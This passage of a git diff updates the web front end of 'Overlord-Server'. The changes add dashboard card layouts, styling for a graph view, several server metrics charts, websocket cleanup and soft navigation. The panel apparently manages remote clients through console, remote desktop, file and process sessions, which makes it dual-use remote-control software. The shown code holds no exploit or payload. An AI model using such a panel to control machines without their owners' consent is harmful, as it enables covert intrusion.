setCollapsed(localStorage.getItem(STATS_COLLAPSED_KEY) === "true"); @@ -483,10 +738,9 @@ function initStatsToggle() { resetButton?.addEventListener("click", () => { setHeight(DEFAULT_STATS_HEIGHT); setCollapsed(false); + resetStatsGridLayout(); localStorage.removeItem(STATS_ORDER_KEY); localStorage.removeItem(PULSE_ORDER_KEY); - const content = $("dashboard-stats-content"); - if (content) applySavedOrder(content); const pulseList = document.querySelector(".dashboard-health-list"); if (pulseList) applyPulseOrder(pulseList); }); diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index 9d8ecb7..7efedd9 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -14,6 +14,29 @@ let dashboardWsConnected = false; let wsReconnectTimer = null; const manuallyDisconnecting = new Set(); +function stopDashboardRealtime() { + clearInterval(pollTimer); + pollTimer = null; + clearTimeout(wsReconnectTimer); + wsReconnectTimer = null; + if (dashboardWs) { + try { + dashboardWs.onopen = null; + dashboardWs.onmessage = null; + dashboardWs.onerror = null; + dashboardWs.onclose = null; + dashboardWs.close(1000, "page hidden"); + } catch {} + } + dashboardWs = null; + dashboardWsConnected = false; +} + +function bindDashboardPagehideCleanup() { + window.removeEventListener("pagehide", stopDashboardRealtime); + window.addEventListener("pagehide", stopDashboardRealtime); +} + function moveClientCardImmediately(msg) { const clientId = typeof msg?.clientId === "string" ? msg.clientId : ""; if (!clientId) return; @@ -243,6 +266,7 @@ function adjustPollingForWs() { } export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) { + bindDashboardPagehideCleanup(); connectDashboardWs(); const effectiveInterval = dashboardWsConnected ? FALLBACK_POLL_MS diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 625b1f5..08560db 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -1135,6 +1135,311 @@ article.card[data-bookmarked="true"] { justify-content: center; } +.graph-shell { + min-height: calc(100vh - 64px); + display: grid; + grid-template-rows: auto 1fr; + gap: 14px; + padding: 18px 20px 20px; +} + +.graph-toolbar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + min-width: 0; + border: 1px solid rgba(30, 41, 59, 0.86); + background: rgba(2, 6, 23, 0.78); + border-radius: 8px; + padding: 12px; +} + +.graph-title { + display: flex; + align-items: center; + gap: 12px; + min-width: 0; +} + +.graph-title > i { + width: 36px; + height: 36px; + display: grid; + place-items: center; + border-radius: 8px; + background: rgba(8, 145, 178, 0.12); + color: #67e8f9; + border: 1px solid rgba(103, 232, 249, 0.18); +} + +.graph-title h1 { + margin: 0; + font-size: 1rem; + font-weight: 700; + color: #e2e8f0; +} + +.graph-title p { + margin: 2px 0 0; + color: #94a3b8; + font-size: 0.78rem; +} + +.graph-controls { + display: flex; + align-items: center; + justify-content: flex-end; + flex-wrap: wrap; + gap: 8px; +} + +.graph-field { + height: 38px; + min-width: min(280px, 44vw); + display: flex; + align-items: center; + gap: 8px; + border: 1px solid rgba(51, 65, 85, 0.95); + border-radius: 8px; + background: rgba(15, 23, 42, 0.92); + color: #94a3b8; + padding: 0 10px; +} + +.graph-field:focus-within { + border-color: rgba(56, 189, 248, 0.65); + box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.12); +} + +.graph-field input { + width: 100%; + min-width: 0; + border: 0; + outline: 0; + background: transparent; + color: #e2e8f0; + font-size: 0.86rem; +} + +.graph-select { + height: 38px; + border: 1px solid rgba(51, 65, 85, 0.95); + border-radius: 8px; + background: #0f172a; + color: #dbeafe; + padding: 0 10px; + font-size: 0.84rem; +} + +.graph-workspace { + min-height: 0; + display: grid; + grid-template-columns: minmax(0, 1fr) 320px; + gap: 14px; +} + +.graph-canvas { + min-height: 560px; + height: calc(100vh - 170px); + border: 1px solid rgba(30, 41, 59, 0.9); + border-radius: 8px; + background: + linear-gradient(rgba(15, 23, 42, 0.86), rgba(2, 6, 23, 0.94)), + linear-gradient(90deg, rgba(148, 163, 184, 0.06) 1px, transparent 1px), + linear-gradient(rgba(148, 163, 184, 0.06) 1px, transparent 1px); + background-size: auto, 34px 34px, 34px 34px; + overflow: hidden; +} + +.graph-inspector { + min-height: 0; + height: calc(100vh - 170px); + overflow: auto; + border: 1px solid rgba(148, 163, 184, 0.14); + border-radius: 8px; + background: #141c2b; + box-shadow: + 0 14px 38px rgba(0, 0, 0, 0.26), + inset 0 1px 0 rgba(255, 255, 255, 0.03); + padding: 8px; + scrollbar-color: rgba(100, 116, 139, 0.7) transparent; +} + +.graph-inspector-kicker { + color: #94a3b8; + font-size: 0.68rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.1em; + padding: 8px 8px 0; +} + +.graph-inspector h2 { + margin: 4px 8px 10px; + color: #f8fafc; + font-size: 1.05rem; + line-height: 1.25; + overflow-wrap: anywhere; +} + +.graph-detail-meta { + display: grid; + gap: 1px; + padding: 4px; + border-top: 1px solid rgba(148, 163, 184, 0.13); + border-bottom: 1px solid rgba(148, 163, 184, 0.13); +} + +.graph-meta-row { + display: grid; + grid-template-columns: 82px minmax(0, 1fr); + align-items: center; + gap: 10px; + min-height: 32px; + border-radius: 5px; + padding: 6px 8px; + background: transparent; +} + +.graph-meta-row span { + color: #7c8aa0; + font-size: 0.68rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.06em; +} + +.graph-meta-row strong { + color: #cbd5e1; + font-size: 0.8rem; + font-weight: 600; + overflow-wrap: anywhere; +} + +.graph-meta-row:hover { + background: rgba(71, 85, 105, 0.32); +} + +.graph-detail-actions { + display: grid; + gap: 1px; + margin-top: 8px; + padding: 4px; +} + +.graph-action-note { + width: 100%; + display: flex; + align-items: center; + gap: 8px; + color: #fca5a5; + background: rgba(127, 29, 29, 0.18); + border: 1px solid rgba(248, 113, 113, 0.14); + border-radius: 5px; + padding: 7px 10px; + font-size: 0.78rem; + font-weight: 600; + margin-bottom: 4px; +} + +.graph-action { + min-height: 34px; + width: 100%; + display: flex; + align-items: center; + justify-content: flex-start; + gap: 9px; + border-radius: 5px; + border: none; + background: transparent; + color: #cbd5e1; + padding: 7px 10px; + font-size: 0.82rem; + font-weight: 600; + text-align: left; + transition: background 0.1s ease, color 0.1s ease; +} + +.graph-action:hover:not(:disabled) { + background: rgba(71, 85, 105, 0.55); + color: #f1f5f9; +} + +.graph-action:disabled { + cursor: not-allowed; + opacity: 0.38; + filter: grayscale(0.55); +} + +.graph-action--remote { + color: #cbd5e1; +} + +.graph-action--remote i { + color: #c084fc; + width: 16px; + text-align: center; +} + +.graph-action--console { + color: #cbd5e1; +} + +.graph-action--console i { + color: #34d399; + width: 16px; + text-align: center; +} + +.graph-action--files { + color: #cbd5e1; +} + +.graph-action--files i { + color: #60a5fa; + width: 16px; + text-align: center; +} + +.graph-action--copy { + color: #cbd5e1; +} + +.graph-action--copy i { + color: #94a3b8; + width: 16px; + text-align: center; +} + +@media (max-width: 980px) { + .graph-toolbar { + align-items: stretch; + flex-direction: column; + } + + .graph-controls { + justify-content: flex-start; + } + + .graph-field { + min-width: min(100%, 360px); + } + + .graph-workspace { + grid-template-columns: 1fr; + } + + .graph-canvas, + .graph-inspector { + height: auto; + } + + .graph-canvas { + min-height: 520px; + } +} + @keyframes radioactiveShake { 0%, 100% { @@ -1828,6 +2133,35 @@ mark.search-current { z-index: 10; width: 100%; min-height: 60px; + background: rgba(2, 6, 23, 0.92); + border-bottom: 1px solid rgba(30, 41, 59, 0.95); + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); +} + +#top-nav:empty::before { + content: "Overlord"; + display: flex; + align-items: center; + height: 60px; + padding: 0 20px; + color: #e2e8f0; + font-size: 0.95rem; + font-weight: 700; + letter-spacing: 0.02em; +} + +html.nav-pre-sidebar #top-nav:empty::before { + align-items: flex-start; + height: auto; + padding: 18px 14px 14px; + border-bottom: 1px solid rgba(255, 255, 255, 0.06); +} + +html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before { + content: "O"; + justify-content: center; + padding-inline: 0; } #top-nav nav a { @@ -4547,11 +4881,59 @@ body.sb-ready #top-nav { border-color: rgba(71, 85, 105, 0.8); } -.dashboard-stats-content { +.dashboard-card-menu { + position: relative; +} + +.dashboard-card-menu > summary { + list-style: none; +} + +.dashboard-card-menu > summary::-webkit-details-marker { + display: none; +} + +.dashboard-card-menu-panel { + position: absolute; + top: calc(100% + 8px); + right: 0; + z-index: 45; display: grid; - grid-template-columns: minmax(150px, 0.85fr) minmax(150px, 0.85fr) minmax(260px, 1.45fr) minmax(260px, 1.35fr) minmax(220px, 1fr); - gap: 12px; - align-items: stretch; + gap: 6px; + width: 196px; + padding: 10px; + border: 1px solid rgba(51, 65, 85, 0.82); + border-radius: 8px; + background: rgba(15, 23, 42, 0.98); + box-shadow: 0 18px 38px rgba(2, 6, 23, 0.42); +} + +.dashboard-card-menu-panel label { + display: flex; + align-items: center; + gap: 8px; + min-width: 0; + padding: 6px 7px; + border-radius: 6px; + color: #cbd5e1; + font-size: var(--text-xs); + font-weight: 700; + cursor: pointer; +} + +.dashboard-card-menu-panel label:hover { + background: rgba(51, 65, 85, 0.62); +} + +.dashboard-card-menu-panel input { + accent-color: #38bdf8; +} + +.dashboard-stats-content { + height: calc(var(--dashboard-stats-height) + 12px); + min-height: calc(var(--dashboard-stats-height) + 12px); + contain: layout paint; + overflow: hidden; } .dashboard-stats-shell.is-collapsed .dashboard-stats-content, @@ -4594,6 +4976,7 @@ body.sb-ready #top-nav { .dashboard-health-card { position: relative; min-width: 0; + height: 100%; border: 1px solid rgba(51, 65, 85, 0.68); border-radius: 10px; background: rgba(15, 23, 42, 0.72); @@ -4621,11 +5004,44 @@ body.sb-ready #top-nav { border-color: rgba(56, 189, 248, 0.62); } +.dashboard-stats-content .grid-stack-item-content { + overflow: hidden !important; +} + +.dashboard-stats-content .grid-stack-item.dashboard-card-hidden { + display: none; +} + +.dashboard-stats-content .grid-stack-item.ui-draggable-dragging .grid-stack-item-content, +.dashboard-stats-content .grid-stack-item.ui-resizable-resizing .grid-stack-item-content { + border-color: rgba(56, 189, 248, 0.62); + box-shadow: 0 18px 42px rgba(2, 6, 23, 0.42); +} + +.dashboard-stats-content .grid-stack-placeholder > .placeholder-content, +.dashboard-stats-content .grid-stack-placeholder > .grid-stack-item-content { + border: 1px dashed rgba(56, 189, 248, 0.58); + border-radius: 10px; + background: rgba(8, 47, 73, 0.22); +} + +.dashboard-stats-content .ui-resizable-se { + right: 8px !important; + bottom: 8px !important; + width: 14px; + height: 14px; + opacity: 0; + transition: opacity 140ms ease; +} + +.dashboard-stats-content .grid-stack-item:hover .ui-resizable-se { + opacity: 0.72; +} + .dashboard-stat-card { display: flex; flex-direction: column; justify-content: space-between; - height: var(--dashboard-stats-height); padding: 14px; } @@ -4684,7 +5100,6 @@ body.sb-ready #top-nav { .dashboard-chart-card, .dashboard-health-card { - height: var(--dashboard-stats-height); padding: 12px 14px 10px; } @@ -4734,6 +5149,12 @@ body.sb-ready #top-nav { padding-bottom: 8px; } +.dashboard-chart-wrap canvas { + display: block; + max-width: 100%; + max-height: 100%; +} + .dashboard-health-list { position: relative; z-index: 1; @@ -4822,37 +5243,7 @@ body.sb-ready #top-nav { box-shadow: 0 0 0 4px rgba(100, 116, 139, 0.1); } -@media (max-width: 1380px) { - .dashboard-stats-content { - grid-template-columns: repeat(2, minmax(150px, 1fr)) repeat(2, minmax(260px, 1.35fr)); - } - - .dashboard-health-card { - grid-column: span 2; - } -} - -@media (max-width: 940px) { - .dashboard-stats-content { - grid-template-columns: repeat(2, minmax(0, 1fr)); - } - - .dashboard-chart-card, - .dashboard-health-card { - grid-column: span 2; - } -} - @media (max-width: 620px) { - .dashboard-stats-content { - grid-template-columns: 1fr; - } - - .dashboard-chart-card, - .dashboard-health-card { - grid-column: auto; - } - .dashboard-stat-value { font-size: clamp(1.65rem, calc(var(--dashboard-stats-height) / 3.4), 3rem); } diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js index d1573d6..7bb3e6e 100644 --- a/Overlord-Server/public/assets/metrics.js +++ b/Overlord-Server/public/assets/metrics.js @@ -1,5 +1,12 @@ let clientsChart = null; let commandsChart = null; +let bandwidthChart = null; +let httpRequestsChart = null; +let httpChart = null; +let memoryChart = null; +let eventLoopChart = null; +let sessionsChart = null; +let osChart = null; let countryMap = null; let countriesLayer = null; let countryCounts = {}; @@ -7,6 +14,8 @@ let maxCountryCount = 0; let latestByCountry = {}; const GEOJSON_URL = "/vendor/geo-countries/countries.geojson"; +const MAX_CHART_POINTS = 240; +const METRICS_POLL_INTERVAL_MS = 5000; if (typeof Chart !== "undefined") { Chart.defaults.color = "#cbd5e1"; @@ -14,9 +23,69 @@ if (typeof Chart !== "undefined") { Chart.defaults.font.family = "Inter, system-ui, sans-serif"; } +function chartTooltip() { + return { + backgroundColor: "#0f172a", + titleColor: "#e2e8f0", + bodyColor: "#cbd5e1", + borderColor: "#334155", + borderWidth: 1, + }; +} + +function lineChartOptions(extra = {}) { + const extraPlugins = extra.plugins || {}; + return { + responsive: true, + maintainAspectRatio: false, + animation: false, + interaction: { mode: "index", intersect: false }, + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8" }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + x: { + ticks: { + color: "#94a3b8", + maxTicksLimit: 6, + autoSkip: true, + maxRotation: 0, + }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + ...(extra.scales || {}), + }, + ...extra, + plugins: { + legend: + extraPlugins.legend ?? { display: true, labels: { boxWidth: 10, boxHeight: 10 } }, + tooltip: chartTooltip(), + ...extraPlugins, + }, + }; +} + +function makeLineChart(canvas, datasets, options = {}) { + if (!canvas) return null; + return new Chart(canvas, { + type: "line", + data: { labels: [], datasets }, + options: lineChartOptions(options), + }); +} + function initCharts() { const clientsCtx = document.getElementById("clients-chart"); const commandsCtx = document.getElementById("commands-chart"); + const bandwidthCtx = document.getElementById("bandwidth-chart"); + const httpRequestsCtx = document.getElementById("http-requests-chart"); + const httpCtx = document.getElementById("http-chart"); + const memoryCtx = document.getElementById("memory-chart"); + const eventLoopCtx = document.getElementById("event-loop-chart"); + const sessionsCtx = document.getElementById("sessions-chart"); + const osCtx = document.getElementById("os-chart"); clientsChart = new Chart(clientsCtx, { type: "line", @@ -119,13 +188,283 @@ function initCharts() { }, }, }); + + bandwidthChart = makeLineChart( + bandwidthCtx, + [ + { + label: "Sent/s", + data: [], + borderColor: "rgb(251, 146, 60)", + backgroundColor: "rgba(251, 146, 60, 0.12)", + fill: true, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + { + label: "Received/s", + data: [], + borderColor: "rgb(56, 189, 248)", + backgroundColor: "rgba(56, 189, 248, 0.1)", + fill: true, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + ], + { + scales: { + y: { + beginAtZero: true, + ticks: { + color: "#94a3b8", + callback: (value) => formatBytes(Number(value)), + }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + ); + + httpRequestsChart = makeLineChart( + httpRequestsCtx, + [ + { + label: "requests/min", + data: [], + borderColor: "rgb(52, 211, 153)", + backgroundColor: "rgba(52, 211, 153, 0.12)", + fill: true, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + { + label: "errors/min", + data: [], + borderColor: "rgb(248, 113, 113)", + backgroundColor: "rgba(248, 113, 113, 0.14)", + fill: false, + tension: 0.25, + pointRadius: 0, + borderDash: [5, 4], + borderWidth: 2, + }, + ], + { + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8", precision: 0 }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + ); + + httpChart = makeLineChart( + httpCtx, + [ + { + label: "p99 ms", + data: [], + borderColor: "rgb(248, 113, 113)", + backgroundColor: "rgba(248, 113, 113, 0.08)", + fill: false, + tension: 0.35, + pointRadius: 0, + borderDash: [4, 4], + borderWidth: 2, + }, + { + label: "p95 ms", + data: [], + borderColor: "rgb(244, 63, 94)", + backgroundColor: "rgba(244, 63, 94, 0.1)", + fill: true, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + { + label: "avg ms", + data: [], + borderColor: "rgb(251, 191, 36)", + backgroundColor: "rgba(251, 191, 36, 0.08)", + fill: false, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + ], + { + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8", callback: (value) => `${Math.round(Number(value))} ms` }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + ); + + memoryChart = makeLineChart( + memoryCtx, + [ + { + label: "Heap", + data: [], + borderColor: "rgb(34, 211, 238)", + backgroundColor: "rgba(34, 211, 238, 0.1)", + fill: true, + tension: 0.35, + pointRadius: 0, + yAxisID: "y", + borderWidth: 2, + }, + { + label: "RSS", + data: [], + borderColor: "rgb(129, 140, 248)", + backgroundColor: "rgba(129, 140, 248, 0.08)", + fill: true, + tension: 0.35, + pointRadius: 0, + yAxisID: "y", + borderWidth: 2, + }, + { + label: "System %", + data: [], + borderColor: "rgb(52, 211, 153)", + backgroundColor: "rgba(52, 211, 153, 0.08)", + fill: false, + tension: 0.35, + pointRadius: 0, + yAxisID: "y1", + borderWidth: 2, + }, + ], + { + scales: { + y: { + beginAtZero: true, + position: "left", + ticks: { color: "#94a3b8", callback: (value) => formatBytes(Number(value)) }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + y1: { + beginAtZero: true, + max: 100, + position: "right", + ticks: { color: "#86efac", callback: (value) => `${Math.round(Number(value))}%` }, + grid: { drawOnChartArea: false }, + }, + }, + }, + ); + + eventLoopChart = makeLineChart( + eventLoopCtx, + [ + { + label: "p95 lag", + data: [], + borderColor: "rgb(251, 191, 36)", + backgroundColor: "rgba(251, 191, 36, 0.12)", + fill: true, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + { + label: "avg lag", + data: [], + borderColor: "rgb(96, 165, 250)", + backgroundColor: "rgba(96, 165, 250, 0.08)", + fill: false, + tension: 0.35, + pointRadius: 0, + borderWidth: 2, + }, + ], + { + scales: { + y: { + beginAtZero: true, + ticks: { color: "#94a3b8", callback: (value) => `${Math.round(Number(value))} ms` }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + }, + }, + ); + + sessionsChart = sessionsCtx ? new Chart(sessionsCtx, { + type: "doughnut", + data: { + labels: ["Console", "Remote Desktop", "Files", "Processes"], + datasets: [{ + data: [0, 0, 0, 0], + backgroundColor: ["#34d399", "#c084fc", "#60a5fa", "#fb923c"], + borderColor: "#0f172a", + borderWidth: 2, + }], + }, + options: { + responsive: true, + maintainAspectRatio: false, + animation: false, + cutout: "64%", + plugins: { + legend: { position: "right", labels: { boxWidth: 10, boxHeight: 10 } }, + tooltip: chartTooltip(), + }, + }, + }) : null; + + osChart = osCtx ? new Chart(osCtx, { + type: "bar", + data: { + labels: [], + datasets: [{ + label: "Clients", + data: [], + backgroundColor: "rgba(56, 189, 248, 0.5)", + borderColor: "rgb(56, 189, 248)", + borderWidth: 1, + }], + }, + options: { + indexAxis: "y", + responsive: true, + maintainAspectRatio: false, + animation: false, + plugins: { + legend: { display: false }, + tooltip: chartTooltip(), + }, + scales: { + x: { + beginAtZero: true, + ticks: { color: "#94a3b8", precision: 0 }, + grid: { color: "rgba(100, 116, 139, 0.1)" }, + }, + y: { + ticks: { color: "#94a3b8" }, + grid: { display: false }, + }, + }, + }, + }) : null; } function formatBytes(bytes) { - if (bytes === 0) return "0 B"; + if (!Number.isFinite(bytes) || bytes <= 0) return "0 B"; + if (bytes < 1) return `${bytes.toFixed(2)} B`; const k = 1024; const sizes = ["B", "KB", "MB", "GB", "TB"]; - const i = Math.floor(Math.log(bytes) / Math.log(k)); + const i = Math.min(sizes.length - 1, Math.floor(Math.log(bytes) / Math.log(k))); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + " " + sizes[i]; } @@ -269,6 +608,10 @@ function updateMetrics(data, debug) { if (httpLatencyP95El) { httpLatencyP95El.textContent = formatMs(data.http.latencyP95 || 0); } + const httpLatencyP99El = document.getElementById("http-latency-p99"); + if (httpLatencyP99El) { + httpLatencyP99El.textContent = formatMs(data.http.latencyP99 || 0); + } const eventLoopAvgEl = document.getElementById("event-loop-avg"); if (eventLoopAvgEl) { eventLoopAvgEl.textContent = formatMs(data.eventLoop.avg || 0); @@ -314,6 +657,57 @@ function updateMetrics(data, debug) { osList.innerHTML = '
No clients
'; } + if (sessionsChart) { + sessionsChart.data.datasets[0].data = [ + data.sessions.console || 0, + data.sessions.remoteDesktop || 0, + data.sessions.fileBrowser || 0, + data.sessions.process || 0, + ]; + sessionsChart.update("none"); + } + + if (osChart) { + const osEntries = Object.entries(data.clients.byOS || {}) + .sort((a, b) => b[1] - a[1]) + .slice(0, 10); + osChart.data.labels = osEntries.length ? osEntries.map(([label]) => label) : ["No clients"]; + osChart.data.datasets[0].data = osEntries.length ? osEntries.map(([, count]) => count) : [0]; + osChart.update("none"); + } + + const httpRoutesList = document.getElementById("http-routes"); + if (httpRoutesList) { + const routes = Array.isArray(data.http.routes) ? data.http.routes : []; + if (routes.length > 0) { + httpRoutesList.innerHTML = routes + .map((route) => { + const errorClass = route.errorsLastMinute > 0 ? "text-red-300" : "text-slate-400"; + return ` +
+
+ ${escapeHtml(route.route)} +
+
+ p95 + ${formatMs(route.latencyP95 || 0)} + avg + ${formatMs(route.latencyAvg || 0)} + req/min + ${Number(route.countLastMinute || 0).toLocaleString()} + errors + ${Number(route.errorsLastMinute || 0).toLocaleString()} +
+
+ `; + }) + .join(""); + } else { + httpRoutesList.innerHTML = + '
No HTTP route samples yet
'; + } + } + const commandTypesList = document.getElementById("command-types"); if (Object.keys(data.commands.byType).length > 0) { const topCommands = Object.entries(data.commands.byType) @@ -462,7 +856,11 @@ async function initCountryMap() { } function updateCharts(history, snapshot) { - if (history.length === 0) { + const points = Array.isArray(history) && history.length > 0 + ? history.slice(-MAX_CHART_POINTS) + : []; + + if (points.length === 0) { const now = new Date(); const label = formatTime(now.getTime()); @@ -473,26 +871,100 @@ function updateCharts(history, snapshot) { commandsChart.data.labels = [label]; commandsChart.data.datasets[0].data = [snapshot.commands.lastMinute]; commandsChart.update("none"); + + if (bandwidthChart) { + bandwidthChart.data.labels = [label]; + bandwidthChart.data.datasets[0].data = [snapshot.bandwidth.sentPerSecond || 0]; + bandwidthChart.data.datasets[1].data = [snapshot.bandwidth.receivedPerSecond || 0]; + bandwidthChart.update("none"); + } + + if (httpChart) { + httpChart.data.labels = [label]; + httpChart.data.datasets[0].data = [snapshot.http.latencyP99 || 0]; + httpChart.data.datasets[1].data = [snapshot.http.latencyP95 || 0]; + httpChart.data.datasets[2].data = [snapshot.http.latencyAvg || 0]; + httpChart.update("none"); + } + + if (httpRequestsChart) { + httpRequestsChart.data.labels = [label]; + httpRequestsChart.data.datasets[0].data = [snapshot.http.lastMinute || 0]; + httpRequestsChart.data.datasets[1].data = [snapshot.http.lastMinuteErrors || 0]; + httpRequestsChart.update("none"); + } + + if (memoryChart) { + memoryChart.data.labels = [label]; + memoryChart.data.datasets[0].data = [snapshot.server.memoryUsage.heapUsed || 0]; + memoryChart.data.datasets[1].data = [snapshot.server.memoryUsage.rss || 0]; + memoryChart.data.datasets[2].data = [snapshot.server.systemMemory.usedPercent || 0]; + memoryChart.update("none"); + } + + if (eventLoopChart) { + eventLoopChart.data.labels = [label]; + eventLoopChart.data.datasets[0].data = [snapshot.eventLoop.p95 || 0]; + eventLoopChart.data.datasets[1].data = [snapshot.eventLoop.avg || 0]; + eventLoopChart.update("none"); + } return; } - const labels = history.map((h) => formatTime(h.timestamp)); - const clientsData = history.map((h) => h.clientsOnline); + const labels = points.map((h) => formatTime(h.timestamp)); + const clientsData = points.map((h) => h.clientsOnline || 0); clientsChart.data.labels = labels; clientsChart.data.datasets[0].data = clientsData; clientsChart.update("none"); - const commandsData = history.map((h) => h.commandsPerMinute); + const commandsData = points.map((h) => h.commandsPerMinute || 0); commandsChart.data.labels = labels; commandsChart.data.datasets[0].data = commandsData; commandsChart.update("none"); + + if (bandwidthChart) { + bandwidthChart.data.labels = labels; + bandwidthChart.data.datasets[0].data = points.map((h) => h.bandwidthSent || 0); + bandwidthChart.data.datasets[1].data = points.map((h) => h.bandwidthReceived || 0); + bandwidthChart.update("none"); + } + + if (httpChart) { + httpChart.data.labels = labels; + httpChart.data.datasets[0].data = points.map((h) => h.httpLatencyP99 || 0); + httpChart.data.datasets[1].data = points.map((h) => h.httpLatencyP95 || 0); + httpChart.data.datasets[2].data = points.map((h) => h.httpLatencyAvg || 0); + httpChart.update("none"); + } + + if (httpRequestsChart) { + httpRequestsChart.data.labels = labels; + httpRequestsChart.data.datasets[0].data = points.map((h) => h.httpRequestsPerMinute || 0); + httpRequestsChart.data.datasets[1].data = points.map((h) => h.httpErrorsPerMinute || 0); + httpRequestsChart.update("none"); + } + + if (memoryChart) { + memoryChart.data.labels = labels; + memoryChart.data.datasets[0].data = points.map((h) => h.heapUsed || 0); + memoryChart.data.datasets[1].data = points.map((h) => h.rss || 0); + memoryChart.data.datasets[2].data = points.map((h) => h.systemMemoryUsedPercent || 0); + memoryChart.update("none"); + } + + if (eventLoopChart) { + eventLoopChart.data.labels = labels; + eventLoopChart.data.datasets[0].data = points.map((h) => h.eventLoopP95 || 0); + eventLoopChart.data.datasets[1].data = points.map((h) => h.eventLoopAvg || 0); + eventLoopChart.update("none"); + } } async function fetchMetrics() { try { - const response = await fetch("/api/metrics", { + const response = await fetch(`/api/metrics?historyLimit=${MAX_CHART_POINTS}`, { credentials: "include", }); @@ -589,7 +1061,7 @@ document.addEventListener("DOMContentLoaded", async () => { await fetchMetrics(); - setInterval(fetchMetrics, 2000); + setInterval(fetchMetrics, METRICS_POLL_INTERVAL_MS); const logoutBtn = document.getElementById("logout-btn"); if (logoutBtn && !logoutBtn.dataset.boundLogout) { diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index 9fceded..f953bc6 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -12,13 +12,19 @@ import { createAdaptiveNavController } from "./nav/layout.js"; import { applyUserRoleUI, applyThumbnailWallVisibility } from "./nav/role-ui.js"; import { loadPluginNavItems } from "./nav/plugins-loader.js"; import { init as initCommandPalette } from "./command-palette.js"; +import { + installPageResourceTracker, + runWithoutPageTracking, + setupSoftNavigation, + startPageTracking, +} from "./soft-nav.js"; const host = document.getElementById("top-nav"); if (host) { const refs = mountNav(host); initCommandPalette(); import("./cert-banner.js").then(({ showCertBannerIfNeeded }) => { - showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host); + runWithoutPageTracking(() => showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host)); }); const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs); @@ -30,6 +36,7 @@ if (host) { const activeMap = { "/": "nav-clients", "/metrics": "metrics-link", + "/graph": "graph-link", "/screenshots": "screenshots-link", "/logs": "logs-link", "/scripts": "scripts-link", @@ -44,13 +51,18 @@ if (host) { "/purgatory": "enrollment-link", }; - loadPluginNavItems(activeMap).then(() => { - const activeId = activeMap[path]; + const applyActivePath = (nextPath = window.location.pathname) => { + host.querySelectorAll(".nav-active").forEach((el) => el.classList.remove("nav-active")); + host.querySelectorAll(".sb-group-btn[aria-expanded='true']").forEach((btn) => btn.setAttribute("aria-expanded", "false")); + host.querySelectorAll(".sb-group-children.sb-group-open").forEach((children) => children.classList.remove("sb-group-open")); + host.querySelectorAll(".sb-chevron.sb-chevron-open").forEach((chevron) => chevron.classList.remove("sb-chevron-open")); + refs.accountSettingsBtn?.classList.remove("ring-1", "ring-sky-500/60", "bg-slate-700"); + + const activeId = activeMap[nextPath]; if (activeId) { const el = document.getElementById(activeId); if (el) { el.classList.add("nav-active"); - // Also expand the parent sidebar group if applicable const group = el.closest(".sb-group"); if (group) { const btn = group.querySelector(".sb-group-btn"); @@ -62,6 +74,14 @@ if (host) { } } } + + if (nextPath === "/settings" && refs.accountSettingsBtn) { + refs.accountSettingsBtn.classList.add("ring-1", "ring-sky-500/60", "bg-slate-700"); + } + }; + + loadPluginNavItems(activeMap).then(() => { + applyActivePath(path); }); if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) { @@ -91,14 +111,14 @@ if (host) { if (refs.accountSettingsBtn && !refs.accountSettingsBtn.dataset.boundSettings) { refs.accountSettingsBtn.dataset.boundSettings = "true"; refs.accountSettingsBtn.addEventListener("click", () => { - window.location.href = "/settings"; + if (window.overlordSoftNavigate) { + window.overlordSoftNavigate("/settings"); + } else { + window.location.href = "/settings"; + } }); } - if (path === "/settings" && refs.accountSettingsBtn) { - refs.accountSettingsBtn.classList.add("ring-1", "ring-sky-500/60", "bg-slate-700"); - } - const updateToggle = () => { const enabled = getNotificationsEnabled(); if (refs.notifyToggle) { @@ -139,6 +159,32 @@ if (host) { } }); + const prefetchedPages = new Set(); + const prefetchPage = (href) => { + try { + const url = new URL(href, window.location.href); + if (url.origin !== window.location.origin) return; + if (url.pathname === window.location.pathname && url.search === window.location.search) return; + const key = `${url.pathname}${url.search}`; + if (prefetchedPages.has(key)) return; + prefetchedPages.add(key); + const link = document.createElement("link"); + link.rel = "prefetch"; + link.as = "document"; + link.href = key; + document.head.appendChild(link); + } catch {} + }; + + host.addEventListener("pointerenter", (event) => { + const link = event.target?.closest?.("a[href]"); + if (link) prefetchPage(link.getAttribute("href")); + }, true); + host.addEventListener("focusin", (event) => { + const link = 